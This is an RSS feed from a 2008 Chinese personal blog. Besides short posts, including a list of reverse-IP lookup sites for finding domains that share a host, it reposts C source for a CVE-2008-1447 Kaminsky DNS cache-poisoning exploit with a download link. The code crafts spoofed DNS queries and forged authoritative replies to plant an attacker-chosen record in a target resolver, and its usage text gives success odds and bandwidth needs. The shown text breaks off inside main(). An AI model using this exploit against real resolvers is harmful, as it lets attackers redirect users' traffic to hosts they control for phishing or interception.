<?xml version="1.0" encoding="UTF-8" ?><rss version="2.0" xmlns:content="http://purl.org/Rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"><channel><title>我的地盘我做主</title><link>http://www.i170.com/user/john/Rss</link><description></description><language>zh-cn</language><pubDate>Fri, 05 Sep 2008 23:27:28  +0800</pubDate><generator>i170.com</generator><image><title>我的地盘我做主</title><url>http://www.i170.comattavatar_1/john.JPG</url><link>http://www.i170.com/user/john/Rss</link></image> <item><link>http://www.i170.com/Article/109805</link><title><![CDATA[奥运日blog之]]></title><author>john</author><category></category><pubDate>Fri, 08 Aug 2008 09:29:17  +0800</pubDate><description><![CDATA[<p>如题,做个记号</p>

]]></description><guid>http://www.i170.com/Article/109805</guid><trackback:ping>http://www.i170.com/Article/109805/trackback</trackback:ping><comments>http://www.i170.com/Article/109805#comment</comments><wfw:commentRss>http://www.i170.com/Article/109805/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/109500</link><title><![CDATA[这个比google地图爽多了]]></title><author>john</author><category></category><pubDate>Sat, 02 Aug 2008 16:13:45  +0800</pubDate><description><![CDATA[<p>&nbsp;<a href=
"http://heroot.3322.org/">http://heroot.3322.org/</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><img height="710" width="996" alt="" src=
"http://www.i170.com/Attach/63B4FC02-C4F7-4CEC-8F67-C50234A86E23"></p>

]]></description><guid>http://www.i170.com/Article/109500</guid><trackback:ping>http://www.i170.com/Article/109500/trackback</trackback:ping><comments>http://www.i170.com/Article/109500#comment</comments><wfw:commentRss>http://www.i170.com/Article/109500/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/109485</link><title><![CDATA[如何查询在同一虚拟主机上域名]]></title><author>john</author><category></category><pubDate>Sat, 02 Aug 2008 10:54:01  +0800</pubDate><description><![CDATA[<p><a name="msg_fcf4170a33dcce52" id=
"msg_fcf4170a33dcce52"></a>&nbsp;<a href=
"http://www.myipneighbors.com/" target="_blank" rel=
"nofollow"><u><font color=
"#810081">http://www.myipneighbors.com/</font></u></a>&nbsp;&nbsp;&nbsp;
用这个.还可以查到2级域名</p>
<p>&nbsp;</p>
<p><a href="http://whois.webhosting.info/" target="_blank" rel=
"nofollow"><u><font color=
"#810081">http://whois.webhosting.info/</font></u></a></p>
<p>&nbsp;</p>
<p><a href="http://www.rootkit.net.ru/tools" target="_blank" rel=
"nofollow"><u><font color=
"#810081">http://www.rootkit.net.ru/tools</font></u></a></p>
<p>&nbsp;</p>
<p><a href="http://www.114best.com/ip" target="_blank" rel=
"nofollow"><u><font color=
"#810081">www.114best.com/ip</font></u></a></p>
<p>&nbsp;</p>
<p><a href="http://ip.wen.la" target="_blank" rel=
"nofollow"><u><font color=
"#810081">http://ip.wen.la</font></u></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>用于备录</p>

]]></description><guid>http://www.i170.com/Article/109485</guid><trackback:ping>http://www.i170.com/Article/109485/trackback</trackback:ping><comments>http://www.i170.com/Article/109485#comment</comments><wfw:commentRss>http://www.i170.com/Article/109485/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/109293</link><title><![CDATA[Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack]]></title><author>john</author><category>技术文章</category><pubDate>Tue, 29 Jul 2008 20:50:24  +0800</pubDate><description><![CDATA[<p>不要用来干坏事呀 <img alt="" src=
"/htmledit/editor/images/smiley/msn/teeth_smile.gif"></p>
<p>&nbsp;</p>
<p>download</p>
<p><a href=
"http://www.i170.com/Attach/93B5A865-4122-4831-8CFE-950206894801">www.i170.com/Attach/93B5A865-4122-4831-8CFE-950206894801</a></p>
<p>&nbsp;</p>
<p><code>/*<br>
&nbsp;* Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning
Attack<br>
&nbsp;*<br>
&nbsp;* Compilation:<br>
&nbsp;* $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config
--libs` -lm<br>
&nbsp;*<br>
&nbsp;* Dependency: libdnet (aka libdumbnet-dev under Ubuntu)<br>
&nbsp;*<br>
&nbsp;* Author: marc.bevand at rapid7 dot com<br>
&nbsp;*/</code></p>
<p><code>#define _BSD_SOURCE</code></p>
<p><code>#include &lt;sys/types.h&gt;<br>
#include &lt;err.h&gt;<br>
#include &lt;stdio.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;string.h&gt;<br>
#include &lt;math.h&gt;<br>
#include &lt;time.h&gt;<br>
#include &lt;unistd.h&gt;<br>
#include &lt;dumbnet.h&gt;</code></p>
<p><code>#define DNSF_RESPONSE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(1&lt;&lt;15)<br>
#define DNSF_AUTHORITATIVE (1&lt;&lt;10)<br>
#define DNSF_REC_DESIRED&nbsp;&nbsp; (1&lt;&lt;8)<br>
#define DNSF_REC_AVAILABLE (1&lt;&lt;7)</code></p>
<p><code>#define TYPE_A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x1<br>
#define TYPE_NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x2<br>
#define CLASS_IN&nbsp;&nbsp;&nbsp;&nbsp; 0x1</code></p>
<p><code>struct dns_pkt<br>
{<br>
&nbsp;&nbsp; uint16_t txid;<br>
&nbsp;&nbsp; uint16_t flags;<br>
&nbsp;&nbsp; uint16_t nr_quest;<br>
&nbsp;&nbsp; uint16_t nr_ans;<br>
&nbsp;&nbsp; uint16_t nr_auth;<br>
&nbsp;&nbsp; uint16_t nr_add;<br>
} __attribute__ ((__packed__));</code></p>
<p><code>void format_domain(u_char *buf, unsigned size, unsigned
*len, const char *name)<br>
{<br>
&nbsp;&nbsp; unsigned bufi, i, j;<br>
&nbsp;&nbsp; bufi = i = j = 0;<br>
&nbsp;&nbsp; while (name[i])<br>
&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (name[i] == '.')<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (bufi + 1 + (i
- j) &gt; size)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
fprintf(stderr, "format_domain overflow\n"), exit(1);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buf[bufi++] = i -
j;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(buf + bufi,
name + j, i - j);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bufi += i - j;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; j = i + 1;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i++;<br>
&nbsp;&nbsp; }<br>
&nbsp;&nbsp; if (bufi + 1 + 2 + 2 &gt; size)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, "format_domain
overflow\n"), exit(1);<br>
&nbsp;&nbsp; buf[bufi++] = 0;<br>
&nbsp;&nbsp; *len = bufi;<br>
}</code></p>
<p><code>void format_qr(u_char *buf, unsigned size, unsigned *len,
const char *name, uint16_t type, uint16_t class)<br>
{<br>
&nbsp;&nbsp; uint16_t tmp;<br>
&nbsp;&nbsp; // name<br>
&nbsp;&nbsp; format_domain(buf, size, len, name);<br>
&nbsp;&nbsp; // type<br>
&nbsp;&nbsp; tmp = htons(type);<br>
&nbsp;&nbsp; memcpy(buf + *len, &amp;tmp, sizeof (tmp));<br>
&nbsp;&nbsp; *len += sizeof (tmp);<br>
&nbsp;&nbsp; // class<br>
&nbsp;&nbsp; tmp = htons(class);<br>
&nbsp;&nbsp; memcpy(buf + *len, &amp;tmp, sizeof (tmp));<br>
&nbsp;&nbsp; *len += sizeof (tmp);<br>
}</code></p>
<p><code>void format_rr(u_char *buf, unsigned size, unsigned *len,
const char *name, uint16_t type, uint16_t class, uint32_t ttl,
const char *data)<br>
{<br>
&nbsp;&nbsp; format_qr(buf, size, len, name, type, class);<br>
&nbsp;&nbsp; // ttl<br>
&nbsp;&nbsp; ttl = htonl(ttl);<br>
&nbsp;&nbsp; memcpy(buf + *len, &amp;ttl, sizeof (ttl));<br>
&nbsp;&nbsp; *len += sizeof (ttl);<br>
&nbsp;&nbsp; // data length + data<br>
&nbsp;&nbsp; uint16_t dlen;<br>
&nbsp;&nbsp; struct addr addr;<br>
&nbsp;&nbsp; switch (type)<br>
&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case TYPE_A:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dlen = sizeof
(addr.addr_ip);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case TYPE_NS:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dlen =
strlen(data) + 1;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr,
"format_rr: unknown type %02x", type);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(1);<br>
&nbsp;&nbsp; }<br>
&nbsp;&nbsp; dlen = htons(dlen);<br>
&nbsp;&nbsp; memcpy(buf + *len, &amp;dlen, sizeof (dlen));<br>
&nbsp;&nbsp; *len += sizeof (dlen);<br>
&nbsp;&nbsp; // data<br>
&nbsp;&nbsp; unsigned len2;<br>
&nbsp;&nbsp; switch (type)<br>
&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case TYPE_A:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if
(addr_aton(data, &amp;addr) &lt; 0)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
fprintf(stderr, "invalid destination IP: %s", data), exit(1);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(buf + *len,
&amp;addr.addr_ip, sizeof (addr.addr_ip));<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *len += sizeof
(addr.addr_ip);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case TYPE_NS:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; format_domain(buf
+ *len, size - *len, &amp;len2, data);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *len += len2;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr,
"format_rr: unknown type %02x", type);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(1);<br>
&nbsp;&nbsp; }<br>
}</code></p>
<p><code>void dns_query(u_char *buf, unsigned size, unsigned *len,
uint16_t txid, uint16_t flags, const char *name)<br>
{<br>
&nbsp;&nbsp; u_char *out = buf;<br>
&nbsp;&nbsp; struct dns_pkt p = {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .txid = htons(txid),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .flags = htons(flags),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .nr_quest = htons(1),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .nr_ans = htons(0),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .nr_auth = htons(0),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .nr_add = htons(0),<br>
&nbsp;&nbsp; };<br>
&nbsp;&nbsp; u_char qr[256];<br>
&nbsp;&nbsp; unsigned l;<br>
&nbsp;&nbsp; format_qr(qr, sizeof (qr), &amp;l, name, TYPE_A,
CLASS_IN);<br>
&nbsp;&nbsp; if (sizeof (p) + l &gt; size)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, "dns_query
overflow"), exit(1);<br>
&nbsp;&nbsp; memcpy(out, &amp;p, sizeof (p));<br>
&nbsp;&nbsp; out += sizeof (p);<br>
&nbsp;&nbsp; memcpy(out, qr, l);<br>
&nbsp;&nbsp; out += l;<br>
&nbsp;&nbsp; *len = sizeof (p) + l;<br>
}</code></p>
<p><code>void dns_response(u_char *buf, unsigned size, unsigned
*len,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uint16_t txid, uint16_t flags,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const char *q_name, const char
*q_ip,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const char *domain, const char
*auth_name, const char *auth_ip)<br>
{<br>
&nbsp;&nbsp; u_char *out = buf;<br>
&nbsp;&nbsp; u_char *end = buf + size;<br>
&nbsp;&nbsp; u_char rec[256];<br>
&nbsp;&nbsp; unsigned l_rec;<br>
&nbsp;&nbsp; uint32_t ttl = 24*3600;<br>
&nbsp;&nbsp; struct dns_pkt p = {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .txid = htons(txid),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .flags = htons(flags),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .nr_quest = htons(1),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .nr_ans = htons(1),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .nr_auth = htons(1),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .nr_add = htons(1),<br>
&nbsp;&nbsp; };<br>
&nbsp;&nbsp; (void)domain;<br>
&nbsp;&nbsp; *len = 0;<br>
&nbsp;&nbsp; if (out + *len + sizeof (p) &gt; end)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, "dns_response
overflow"), exit(1);<br>
&nbsp;&nbsp; memcpy(out + *len, &amp;p, sizeof (p)); *len += sizeof
(p);<br>
&nbsp;&nbsp; // queries<br>
&nbsp;&nbsp; format_qr(rec, sizeof (rec), &amp;l_rec, q_name,
TYPE_A, CLASS_IN);<br>
&nbsp;&nbsp; if (out + *len + l_rec &gt; end)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, "dns_response
overflow"), exit(1);<br>
&nbsp;&nbsp; memcpy(out + *len, rec, l_rec); *len += l_rec;<br>
&nbsp;&nbsp; // answers<br>
&nbsp;&nbsp; format_rr(rec, sizeof (rec), &amp;l_rec, q_name,
TYPE_A, CLASS_IN,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ttl, q_ip);<br>
&nbsp;&nbsp; if (out + *len + l_rec &gt; end)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, "dns_response
overflow"), exit(1);<br>
&nbsp;&nbsp; memcpy(out + *len, rec, l_rec); *len += l_rec;<br>
&nbsp;&nbsp; // authoritative nameservers<br>
&nbsp;&nbsp; format_rr(rec, sizeof (rec), &amp;l_rec, domain,
TYPE_NS, CLASS_IN,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ttl,
auth_name);<br>
&nbsp;&nbsp; if (out + *len + l_rec &gt; end)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, "dns_response
overflow"), exit(1);<br>
&nbsp;&nbsp; memcpy(out + *len, rec, l_rec); *len += l_rec;<br>
&nbsp;&nbsp; // additional records<br>
&nbsp;&nbsp; format_rr(rec, sizeof (rec), &amp;l_rec, auth_name,
TYPE_A, CLASS_IN,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ttl, auth_ip);<br>
&nbsp;&nbsp; if (out + *len + l_rec &gt; end)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, "dns_response
overflow"), exit(1);<br>
&nbsp;&nbsp; memcpy(out + *len, rec, l_rec); *len += l_rec;<br>
}</code></p>
<p><code>unsigned build_query(u_char *buf, const char *srcip, const
char *dstip, const char *name)<br>
{<br>
&nbsp;&nbsp; unsigned len = 0;<br>
&nbsp;&nbsp; // ip<br>
&nbsp;&nbsp; struct ip_hdr *ip = (struct ip_hdr *)buf;<br>
&nbsp;&nbsp; ip-&gt;ip_hl = 5;<br>
&nbsp;&nbsp; ip-&gt;ip_v = 4;<br>
&nbsp;&nbsp; ip-&gt;ip_tos = 0;<br>
&nbsp;&nbsp; ip-&gt;ip_id = rand() &amp; 0xffff;<br>
&nbsp;&nbsp; ip-&gt;ip_off = 0;<br>
&nbsp;&nbsp; ip-&gt;ip_ttl = IP_TTL_MAX;<br>
&nbsp;&nbsp; ip-&gt;ip_p = 17; // udp<br>
&nbsp;&nbsp; ip-&gt;ip_sum = 0;<br>
&nbsp;&nbsp; struct addr addr;<br>
&nbsp;&nbsp; if (addr_aton(srcip, &amp;addr) &lt; 0)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, "invalid source IP:
%s", srcip), exit(1);<br>
&nbsp;&nbsp; ip-&gt;ip_src = addr.addr_ip;<br>
&nbsp;&nbsp; if (addr_aton(dstip, &amp;addr) &lt; 0)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, "invalid destination
IP: %s", dstip), exit(1);<br>
&nbsp;&nbsp; ip-&gt;ip_dst = addr.addr_ip;<br>
&nbsp;&nbsp; // udp<br>
&nbsp;&nbsp; struct udp_hdr *udp = (struct udp_hdr *)(buf +
IP_HDR_LEN);<br>
&nbsp;&nbsp; udp-&gt;uh_sport = htons(1234);<br>
&nbsp;&nbsp; udp-&gt;uh_dport = htons(53);<br>
&nbsp;&nbsp; // dns<br>
&nbsp;&nbsp; dns_query(buf + IP_HDR_LEN + UDP_HDR_LEN,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (unsigned)(sizeof
(buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &amp;len,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rand(),
DNSF_REC_DESIRED, name);<br>
&nbsp;&nbsp; // udp len<br>
&nbsp;&nbsp; len += UDP_HDR_LEN;<br>
&nbsp;&nbsp; udp-&gt;uh_ulen = htons(len);<br>
&nbsp;&nbsp; // ip len &amp; cksum<br>
&nbsp;&nbsp; len += IP_HDR_LEN;<br>
&nbsp;&nbsp; ip-&gt;ip_len = htons(len);<br>
&nbsp;&nbsp; ip_checksum(buf, len);<br>
&nbsp;&nbsp; return len;<br>
}</code></p>
<p><code>unsigned build_response(u_char *buf, const char *srcip,
const char *dstip,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uint16_t port_resolver, uint16_t
txid,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const char *q_name, const char
*q_ip,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const char *domain, const char
*auth_name, const char *auth_ip)<br>
{<br>
&nbsp;&nbsp; unsigned len = 0;<br>
&nbsp;&nbsp; // ip<br>
&nbsp;&nbsp; struct ip_hdr *ip = (struct ip_hdr *)buf;<br>
&nbsp;&nbsp; ip-&gt;ip_hl = 5;<br>
&nbsp;&nbsp; ip-&gt;ip_v = 4;<br>
&nbsp;&nbsp; ip-&gt;ip_tos = 0;<br>
&nbsp;&nbsp; ip-&gt;ip_id = rand() &amp; 0xffff;<br>
&nbsp;&nbsp; ip-&gt;ip_off = 0;<br>
&nbsp;&nbsp; ip-&gt;ip_ttl = IP_TTL_MAX;<br>
&nbsp;&nbsp; ip-&gt;ip_p = 17; // udp<br>
&nbsp;&nbsp; ip-&gt;ip_sum = 0;<br>
&nbsp;&nbsp; struct addr addr;<br>
&nbsp;&nbsp; if (addr_aton(srcip, &amp;addr) &lt; 0)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, "invalid source IP:
%s", srcip), exit(1);<br>
&nbsp;&nbsp; ip-&gt;ip_src = addr.addr_ip;<br>
&nbsp;&nbsp; if (addr_aton(dstip, &amp;addr) &lt; 0)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, "invalid destination
IP: %s", dstip), exit(1);<br>
&nbsp;&nbsp; ip-&gt;ip_dst = addr.addr_ip;<br>
&nbsp;&nbsp; // udp<br>
&nbsp;&nbsp; struct udp_hdr *udp = (struct udp_hdr *)(buf +
IP_HDR_LEN);<br>
&nbsp;&nbsp; udp-&gt;uh_sport = htons(53);<br>
&nbsp;&nbsp; udp-&gt;uh_dport = htons(port_resolver);<br>
&nbsp;&nbsp; // dns<br>
&nbsp;&nbsp; dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (unsigned)(sizeof
(buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &amp;len,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; txid,
DNSF_RESPONSE | DNSF_AUTHORITATIVE,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; q_name, q_ip,
domain, auth_name, auth_ip);<br>
&nbsp;&nbsp; // udp len<br>
&nbsp;&nbsp; len += UDP_HDR_LEN;<br>
&nbsp;&nbsp; udp-&gt;uh_ulen = htons(len);<br>
&nbsp;&nbsp; // ip len &amp; cksum<br>
&nbsp;&nbsp; len += IP_HDR_LEN;<br>
&nbsp;&nbsp; ip-&gt;ip_len = htons(len);<br>
&nbsp;&nbsp; ip_checksum(buf, len);<br>
&nbsp;&nbsp; return len;<br>
}</code></p>
<p><code>void usage(char *name)<br>
{<br>
&nbsp;&nbsp; fprintf(stderr, "Usage: %s &lt;ip-querier&gt;
&lt;ip-resolver&gt; &lt;ip-authoritative&gt; "<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
"&lt;port-resolver&gt; &lt;subhost&gt; &lt;domain&gt;
&lt;any-ip&gt; &lt;attempts&gt; &lt;repl-per-attempt&gt;\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "&nbsp;
&lt;ip-querier&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Source IP
used when sending queries for random hostnames\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(typically your IP)\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "&nbsp;
&lt;ip-resolver&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Target DNS
resolver to attack\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "&nbsp;
&lt;ip-authoritative&gt; One of the authoritative DNS servers for
&lt;domain&gt;\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "&nbsp;
&lt;port-resolver&gt;&nbsp;&nbsp;&nbsp; Source port used by the
resolver when forwarding queries\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "&nbsp;
&lt;subhost&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Poison the cache with the A record
&lt;subhost&gt;.&lt;domain&gt;\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "&nbsp;
&lt;domain&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Domain name, see &lt;subhost&gt;.\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "&nbsp;
&lt;any-ip&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
IP of your choice to be associated to
&lt;subhost&gt;.&lt;domain&gt;\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "&nbsp;
&lt;attempts&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Number of poisoning attemps, more attempts increase the\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
chance of successful poisoning, but also the attack time\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "&nbsp;
&lt;repl-per-attempt&gt; Number of spoofed replies to send per
attempt, more replies\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
increase the chance of successful poisoning but, but also\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
the rate of packet loss\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Example:\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "&nbsp; $ %s
q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192
16\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "This should cause
a pwned.example.com A record resolving to 1.1.1.1 to appear\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "in r.r.r.r's
cache. The chance of successfully poisoning the resolver
with\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "this example
(8192 attempts and 16 replies/attempt) is 86%%\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
"(1-(1-16/65536)**8192). This example also requires a bandwidth of
about\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "2.6 Mbit/s (16
replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "8 bits/byte) and
takes about 80 secs to complete (8192 attempts /\n"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "100
attempts/sec).\n",<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name, name);<br>
}</code></p>
<p><code>int main(int argc, char **argv)<br>
{<br>
&nbsp;&nbsp; if (argc != 10)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; usage(argv[0]), exit(1);<br>
&nbsp;&nbsp; const char *querier = argv[1];<br>
&nbsp;&nbsp; const char *ip_resolver = argv[2];<br>
&nbsp;&nbsp; const char *ip_authoritative = argv[3];<br>
&nbsp;&nbsp; uint16_t port_resolver = (uint16_t)strtoul(argv[4],
NULL, 0);<br>
&nbsp;&nbsp; const char *subhost = argv[5];<br>
&nbsp;&nbsp; const char *domain = argv[6];<br>
&nbsp;&nbsp; const char *anyip = argv[7];<br>
&nbsp;&nbsp; uint16_t attempts = (uint16_t)strtoul(argv[8], NULL,
0);<br>
&nbsp;&nbsp; uint16_t replies = (uint16_t)strtoul(argv[9], NULL,
